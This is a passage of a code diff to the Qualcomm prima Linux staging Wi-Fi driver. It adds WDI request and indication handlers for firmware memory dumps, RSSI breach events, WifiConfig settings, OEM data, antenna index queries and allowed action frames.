pEventData->pEventData, sizeof(halRsp.tFwMemoryDumpResp)); + + wdiFwrMemDumpRsp.dump_status = WDI_HAL_2_WDI_STATUS(halRsp.tFwMemoryDumpResp.status); + + /*Notify UMAC*/ + wdiFwrMemDumpRspCb( &wdiFwrMemDumpRsp, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +} + WDI_Status WDI_ProcessFWLoggingDXEdoneInd ( @@ -34603,6 +36502,7 @@ WDI_ProcessFWLoggingDXEdoneInd tFWLoggingDxeDoneInd *FWLoggingDxeDoneIndParams; WDI_DS_LoggingSessionType *pLoggingSession; WDI_Status wdiStatus = WDI_STATUS_SUCCESS; + wpt_uint32 *pLogType; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ @@ -34613,13 +36513,16 @@ WDI_ProcessFWLoggingDXEdoneInd /*------------------------------------------------------------------------- Sanity check -------------------------------------------------------------------------*/ - if (NULL == pEventData) + if (NULL == pEventData || + NULL == pEventData->pEventData) { WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, "%s: Invalid parameters", __func__); WDI_ASSERT(0); return WDI_STATUS_E_FAILURE; } + pLogType = (wpt_uint32 *)pEventData->pEventData; + pLoggingSession = (WDI_DS_LoggingSessionType *) WDI_DS_GetLoggingSession(WDI_DS_GetDatapathContext( (void *)pWDICtx)); @@ -34646,7 +36549,8 @@ WDI_ProcessFWLoggingDXEdoneInd &pLoggingSession->logBuffAddress, MAX_NUM_OF_BUFFER * sizeof(FWLoggingDxeDoneIndParams->logBuffAddress[0])); - FWLoggingDxeDoneIndParams->status = eHAL_STATUS_SUCCESS; + FWLoggingDxeDoneIndParams->status = pLoggingSession->status; + FWLoggingDxeDoneIndParams->doneIndicationForSource = (wpt_uint16)*pLogType; wpalMemoryCopy(&FWLoggingDxeDoneIndParams->logBuffLength, &pLoggingSession->logBuffLength, MAX_NUM_OF_BUFFER * @@ -34887,6 +36791,78 @@ WDI_ProcessFWLoggingInitReq return wdiStatus; } +/** + @brief Process FwrMemDumpReq Request + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status + WDI_ProcessFwrMemDumpReq + +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_FwrMemDumpReqType * wdiFwrMemDumpReq; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + WDI_Status wdiStatus; + tHalFwMemoryDumpReqMsg halFwrMemDumpReq; + WDI_FwrMemDumpRspCb wdiFwrMemDumpRspCb; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + ------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiFwrMemDumpReq = (WDI_FwrMemDumpReqType *)pEventData->pEventData; + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_FWR_MEM_DUMP_REQ, + sizeof(halFwrMemDumpReq.tFwMemoryDumpReqParam), + &pSendBuffer, &usDataOffset, &usSendSize))|| + (usSendSize < (usDataOffset + + sizeof(halFwrMemDumpReq.tFwMemoryDumpReqParam)))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in Process Fwr Mem Dump Req"); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiFwrMemDumpRspCb = (WDI_FwrMemDumpRspCb)pEventData->pCBfnc; + wpalMemoryCopy( pSendBuffer+usDataOffset, + &halFwrMemDumpReq.tFwMemoryDumpReqParam, + sizeof(halFwrMemDumpReq.tFwMemoryDumpReqParam)); + + /*------------------------------------------------------------------------- + Send Fwr Mem Dump Request to HAL + ------------------------------------------------------------------------*/ + wdiStatus = WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, + wdiFwrMemDumpRspCb, pEventData->pUserData, + WDI_FWR_MEM_DUMP_RSP); + return wdiStatus; +} + /** @brief WDI_EncryptMsgReq @@ -35244,6 +37220,58 @@ WDI_ProcessNanEvent }/*WDI_ProcessNanEvent*/ +WDI_Status +WDI_Process_RssiBreachedInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_LowLevelIndType wdiInd; + tHalRssiMonitorIndParams *halRssiBreachedInd; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + /*------------------------------------------------------------------------- + Extract indication and send it to UMAC + -------------------------------------------------------------------------*/ + halRssiBreachedInd = pEventData->pEventData; + + /*Fill in the indication parameters*/ + wdiInd.wdiIndicationType = WDI_RSSI_BREACHED_IND; + wdiInd.wdiIndicationData.wdiRssiBreachedInd.request_id = + halRssiBreachedInd->request_id; + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiRssiBreachedInd.bssId, + halRssiBreachedInd->bssId, + WDI_MAC_ADDR_LEN); + wdiInd.wdiIndicationData.wdiRssiBreachedInd.rssi = + halRssiBreachedInd->rssi; + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s: session_id %d, rssi : %d, bssId: " MAC_ADDRESS_STR" ", __func__, + wdiInd.wdiIndicationData.wdiRssiBreachedInd.request_id, + wdiInd.wdiIndicationData.wdiRssiBreachedInd.rssi, + MAC_ADDR_ARRAY(wdiInd.wdiIndicationData.wdiRssiBreachedInd.bssId)); + /*Notify UMAC*/ + if (pWDICtx->wdiLowLevelIndCB) + { + pWDICtx->wdiLowLevelIndCB(&wdiInd, pWDICtx->pIndUserData); + } + + return WDI_STATUS_SUCCESS; + +} + WDI_Status WDI_Process_LostLinkParamInd @@ -35483,3 +37511,680 @@ WDI_EnableDisableCAEventInd return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } /* WDI_EnableDisableCAEventInd */ + +/** + @brief WDI_WifiConfigSetReq + This API is called to set WifiConfig params request in FW + + @param pwdiWifiConfigSetReqParams : pointer to set WifiCofig request params + wdiWifiConfigSetRspCb : WifiConfig stats resp callback + usrData : Client context + @see + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_WifiConfigSetReq(WDI_WifiConfigSetReqType* pwdiWifConfigSetReqParams, + WDI_WifiConfigSetRspCb wdiWifiConfigSetRspCb, + void* pUserData) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_WIFI_CONFIG_SET_REQ; + wdiEventData.pEventData = pwdiWifConfigSetReqParams; + wdiEventData.uEventDataSize = sizeof(*pwdiWifConfigSetReqParams); + wdiEventData.pCBfnc = wdiWifiConfigSetRspCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief WDI_ProcessWifiConfigReq - + Set WifiConfig request to FW + + @param pWDICtx : wdi context + pEventData : indication data + + @see + @return none +*/ + WDI_Status + WDI_ProcessWifiConfigReq + ( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData + ) + { + WDI_WifiConfigSetReqType* pwdiWifiConfigSetReqParams; + WDI_WifiConfigSetRspCb wdiWifiConfigSetRspCb; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usSendSize = 0; + wpt_uint16 usDataOffset = 0; + tSetWifiConfigParamsReq halWifiConfigSetParams; + + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData ) || + ( NULL == pEventData->pCBfnc )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pwdiWifiConfigSetReqParams = (WDI_WifiConfigSetReqType*)pEventData->pEventData; + wdiWifiConfigSetRspCb = (WDI_WifiConfigSetRspCb)pEventData->pCBfnc; + + /*----------------------------------------------------------------------- + Get message buffer + ! TO DO : proper conversion into the HAL Message Request Format + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( + pWDICtx, + WDI_WIFI_CONFIG_SET_REQ, + sizeof(halWifiConfigSetParams.wifiConfigParams), + &pSendBuffer, &usDataOffset, + &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(halWifiConfigSetParams.wifiConfigParams) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "Unable to get send buffer in %s %p %p %p", __func__, + pEventData, pwdiWifiConfigSetReqParams, wdiWifiConfigSetRspCb); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + halWifiConfigSetParams.wifiConfigParams.paramType = pwdiWifiConfigSetReqParams->paramType; + halWifiConfigSetParams.wifiConfigParams.paramValue = + pwdiWifiConfigSetReqParams->paramValue; + vos_mem_copy(halWifiConfigSetParams.wifiConfigParams.bssid, &(pwdiWifiConfigSetReqParams->bssId), + sizeof(tSirMacAddr)); + + wpalMemoryCopy(pSendBuffer+usDataOffset, + &halWifiConfigSetParams.wifiConfigParams, + sizeof(halWifiConfigSetParams.wifiConfigParams)); + + pWDICtx->pReqStatusUserData = pEventData->pUserData; + + /*------------------------------------------------------------------------- + Send Clear Link Layer Stats Request to HAL + -------------------------------------------------------------------------*/ + return WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, + wdiWifiConfigSetRspCb, pEventData->pUserData, + WDI_WIFI_CONFIG_SET_RSP); + } + +WDI_Status +WDI_ProcessWificonfigSetRsp +( WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData ) + +{ + tHalSetWifiConfigRspParams halRsp; + WDI_WifiConfigSetRspCb wdiWifiConfigSetRspCb; + WDI_WifconfigSetRsp wdiWifconfigSetRsp; + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: %d Enter",__func__, __LINE__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiWifiConfigSetRspCb = (WDI_WifiConfigSetRspCb)pWDICtx->pfncRspCB; + + /*------------------------------------------------------------------------- + Extract response and send it to UMAC + -------------------------------------------------------------------------*/ + wpalMemoryCopy(&halRsp, pEventData->pEventData, sizeof(halRsp)); + + wdiWifconfigSetRsp.wificonfigset_status = WDI_HAL_2_WDI_STATUS(halRsp.status); + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "WifiConfig RSP status = %d", + wdiWifconfigSetRsp.wificonfigset_status); + /*Notify UMAC*/ + wdiWifiConfigSetRspCb( &wdiWifconfigSetRsp, pWDICtx->pRspCBUserData); + + return WDI_STATUS_SUCCESS; +} + +#ifdef FEATURE_OEM_DATA_SUPPORT + +/** + @brief WDI_StartOemDataReqIndNew + + @param pOemDataReqNewConfig: Req parameter for the FW + + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_StartOemDataReqIndNew +( + WDI_OemDataReqNewConfig *pOemDataReqNewConfig +) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_START_OEM_DATA_REQ_IND_NEW; + wdiEventData.pEventData = pOemDataReqNewConfig; + wdiEventData.uEventDataSize = sizeof(*pOemDataReqNewConfig); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief WDI_ProcessStartOemDataReqIndNew - + Send OEM Data request new indication to FW + + @param pWDICtx : wdi context + pEventData : indication data + + @see + @return none +*/ +WDI_Status +WDI_ProcessStartOemDataReqIndNew +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_OemDataReqNewConfig* wdiOemDataReqNewConfig; + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usSendSize = 0; + wpt_uint16 usDataOffset = 0; + tpStartOemDataReqParamsNew pHalStartOemDataReqParamsNew; + WDI_Status wdiStatus = WDI_STATUS_SUCCESS; + + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiOemDataReqNewConfig = + (WDI_OemDataReqNewConfig *)pEventData->pEventData; + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( + pWDICtx, + WDI_START_OEM_DATA_REQ_IND_NEW, + sizeof(*pHalStartOemDataReqParamsNew), + &pSendBuffer, &usDataOffset, + &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(*pHalStartOemDataReqParamsNew) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "Unable to get send buffer in %s %p %p", __func__, + pEventData, wdiOemDataReqNewConfig); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + pHalStartOemDataReqParamsNew = + (tpStartOemDataReqParamsNew) (pSendBuffer + usDataOffset); + + wpalMemoryCopy(pHalStartOemDataReqParamsNew, + wdiOemDataReqNewConfig, + sizeof(*pHalStartOemDataReqParamsNew)); + + VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: selfMacAddr: " MAC_ADDRESS_STR" ", __func__, + MAC_ADDR_ARRAY(pHalStartOemDataReqParamsNew->selfMacAddr)); + + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + + /*------------------------------------------------------------------------- + Send WDI_START_OEM_DATA_REQ_IND_NEW Request to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; +} + +/** + @brief Process OemDataRsp New Indication indication from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessStartOemDataRspIndNew +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_LowLevelIndType wdiInd; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: ", __func__); + + /* sanity check */ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + /* Fill in the indication parameters */ + wdiInd.wdiIndicationType = WDI_START_OEM_DATA_RSP_IND_NEW; + + wdiInd.wdiIndicationData.wdiOemDataRspNew.pOemRspNewIndData = + (void *)pEventData->pEventData; + wdiInd.wdiIndicationData.wdiOemDataRspNew.OemRspNewLen = + pEventData->uEventDataSize; + /* Notify UMAC */ + if (pWDICtx->wdiLowLevelIndCB) + { + pWDICtx->wdiLowLevelIndCB( &wdiInd, pWDICtx->pIndUserData ); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_INFO, + "%s: WDILowLevelIndCb is null", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + return WDI_STATUS_SUCCESS; +} /* End of WDI_ProcessEXTScanResultInd */ + +/** + @brief Process Current Antenna Index information from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessGetCurrentAntennaIndexRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_AntennaDivSelRspCb wdiGetCurrentAntennaIndexRspCb; + tHalAntennaDiversitySelectionRspParams *pHalAntDivSelRsp; + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pHalAntDivSelRsp = + (tHalAntennaDiversitySelectionRspParams*)pEventData->pEventData; + wdiGetCurrentAntennaIndexRspCb = (WDI_AntennaDivSelRspCb)pWDICtx->pfncRspCB; + + if (pHalAntDivSelRsp->status != 0) + { + wdiGetCurrentAntennaIndexRspCb(WDI_STATUS_E_FAILURE, + (void *)pHalAntDivSelRsp, pWDICtx->pRspCBUserData); + } + else + { + wdiGetCurrentAntennaIndexRspCb(WDI_STATUS_SUCCESS, + (void *)pHalAntDivSelRsp, + pWDICtx->pRspCBUserData); + } + + return WDI_STATUS_SUCCESS; +} + +/** + @brief Process Get Current Antenna Index request command + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessGetCurrentAntennaIndex +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + tHalAntennaDiversitySelectionReqParams halAntDivSelReq; + WDI_AntennaDivSelRspCb wdiGetCurrentAntennaIndexRspCb; + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData ) || + ( NULL == pEventData->pCBfnc )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + wdiGetCurrentAntennaIndexRspCb = (WDI_AntennaDivSelRspCb)pEventData->pCBfnc; + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_ANTENNA_DIVERSITY_SELECTION_REQ, + sizeof(tHalAntennaDiversitySelectionReqParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + + sizeof(tHalAntennaDiversitySelectionReqParams) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in GetCurrentAntennaIndex %p", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + pWDICtx->wdiReqStatusCB = NULL; + pWDICtx->pReqStatusUserData = pEventData->pEventData; + halAntDivSelReq.reserved = *((wpt_uint32 *)(pEventData->pEventData)); + wpalMemoryCopy( pSendBuffer+usDataOffset, + &halAntDivSelReq, + sizeof(tHalAntennaDiversitySelectionReqParams)); + + /*------------------------------------------------------------------------- + Send Get STA Request to HAL + -------------------------------------------------------------------------*/ + return WDI_SendMsg( pWDICtx, pSendBuffer, usSendSize, + wdiGetCurrentAntennaIndexRspCb, + pEventData->pUserData, + WDI_ANTENNA_DIVERSITY_SELECTION_RSP); +} + +/** + @brief WDI_GetCurrentAntennaIndex + + @param pOemDataReqNewConfig: Req parameter for the FW + + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_GetCurrentAntennaIndex +( + void *pUserData, + WDI_AntennaDivSelRspCb wdiAntennaDivSelRspCb, + wpt_uint32 reserved +) +{ + WDI_EventInfoType wdiEventData; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + return WDI_STATUS_E_NOT_ALLOWED; + } + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_ANTENNA_DIVERSITY_SELECTION_REQ; + wdiEventData.pEventData = (void *)&reserved; + wdiEventData.uEventDataSize = sizeof(wpt_uint32); + wdiEventData.pCBfnc = wdiAntennaDivSelRspCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief Process Set beacon miss penalty count command + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessBcnMissPenaltyCount +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + wpt_uint8* pSendBuffer = NULL; + wpt_uint16 usDataOffset = 0; + wpt_uint16 usSendSize = 0; + tHalModifyRoamParamsIndParams halModifyRoamParams; + WDI_ModifyRoamParamsReqType *modifyRoamParams; + WDI_Status wdiStatus = WDI_STATUS_SUCCESS; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pEventData ) || ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + /*----------------------------------------------------------------------- + Get message buffer + -----------------------------------------------------------------------*/ + + if (( WDI_STATUS_SUCCESS != WDI_GetMessageBuffer( pWDICtx, + WDI_MODIFY_ROAM_PARAMS_IND, + sizeof(tHalModifyRoamParamsIndParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + ( usSendSize < (usDataOffset + sizeof(tHalModifyRoamParamsIndParams) ))) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer for Modify roam req params %p ", + pEventData); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + modifyRoamParams = (WDI_ModifyRoamParamsReqType *)pEventData->pEventData; + halModifyRoamParams.param = modifyRoamParams->param; + halModifyRoamParams.value = modifyRoamParams->value; + wpalMemoryCopy( pSendBuffer+usDataOffset, &halModifyRoamParams, + sizeof(halModifyRoamParams)); + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + + /*------------------------------------------------------------------------- + Send WDI_MODIFY_ROAM_PARAMS_IND to HAL + -------------------------------------------------------------------------*/ + wdiStatus = WDI_SendIndication( pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? wdiStatus:WDI_STATUS_SUCCESS_SYNC; + +} + +/** + @brief WDI_SetBcnMissPenaltyCount + + @param params: Req parameter for the FW + + @return SUCCESS or FAIL +*/ + +WDI_Status +WDI_SetBcnMissPenaltyCount +( + WDI_ModifyRoamParamsReqType *params +) +{ + WDI_EventInfoType wdiEventData; + + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_MODIFY_ROAM_PARAMS_IND; + wdiEventData.pEventData = (void *)params; + wdiEventData.uEventDataSize = sizeof(*params); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); + +} /* WDI_SetBcnMissPenaltyCount */ + +#endif + +/** + * WDI_ProcessSetAllowedActionFramesInd() - Process Allowed action frames + * Indication message and post it to HAL + * + * @pWDICtx: pointer to the WLAN DAL context + * @pEventData: pointer to the event information structure + * + * Return: WDI_Status enumeration + */ +WDI_Status WDI_ProcessSetAllowedActionFramesInd(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData) +{ + wpt_uint8 *pSendBuffer; + wpt_uint16 usDataOffset; + wpt_uint16 usSendSize; + wpt_uint16 usLen; + struct WDI_AllowedActionFramesInd* pwdiAllowedActionFramesInd; + tHalAllowedActionFrames* pAllowedActionFrames; + WDI_Status wdiStatus; + + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, + "%s", __func__); + + if ((!pEventData) || (!pEventData->pEventData)) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + if ((WDI_STATUS_SUCCESS != WDI_GetMessageBuffer(pWDICtx, + WDI_SET_ALLOWED_ACTION_FRAMES_IND, + sizeof(tHalAllowedActionFrames), + &pSendBuffer, &usDataOffset, + &usSendSize))|| + (usSendSize < (usDataOffset + usLen))) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer in Allowed Action Frames req %p", + pEventData); + return WDI_STATUS_E_FAILURE; + } + + pwdiAllowedActionFramesInd = + (struct WDI_AllowedActionFramesInd*)pEventData->pEventData; + pAllowedActionFrames = + (tHalAllowedActionFrames*)(pSendBuffer+usDataOffset); + pAllowedActionFrames->actionFramesBitMask = + pwdiAllowedActionFramesInd->bitmask; + pAllowedActionFrames->reserved = pwdiAllowedActionFramesInd->reserved; + + pWDICtx->pReqStatusUserData = NULL; + pWDICtx->pfncRspCB = NULL; + + wdiStatus = WDI_SendIndication(pWDICtx, pSendBuffer, usSendSize); + return (wdiStatus != WDI_STATUS_SUCCESS) ? + wdiStatus:WDI_STATUS_SUCCESS_SYNC; +}/*WDI_ProcessSetAllowedActionFramesInd*/ + +/** + * WDI_SetAllowedActionFramesInd() - Post Allowed Action Frames Indication to + * WDI Main Event Handler + * @params: pointer to the WDI_AllowedActionFramesInd structure + * + * Return: WDI_Status enumeration + */ +WDI_Status WDI_SetAllowedActionFramesInd( + struct WDI_AllowedActionFramesInd *params) +{ + WDI_EventInfoType wdiEventData; + + if (eWLAN_PAL_FALSE == gWDIInitialized) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail req"); + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_SET_ALLOWED_ACTION_FRAMES_IND; + wdiEventData.pEventData = params; + wdiEventData.uEventDataSize = sizeof(*params); + wdiEventData.pCBfnc = NULL; + wdiEventData.pUserData = NULL; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} diff --git a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi_dp.c b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi_dp.c index 9355787abedea..48bf139ff1690 100644 --- a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi_dp.c +++ 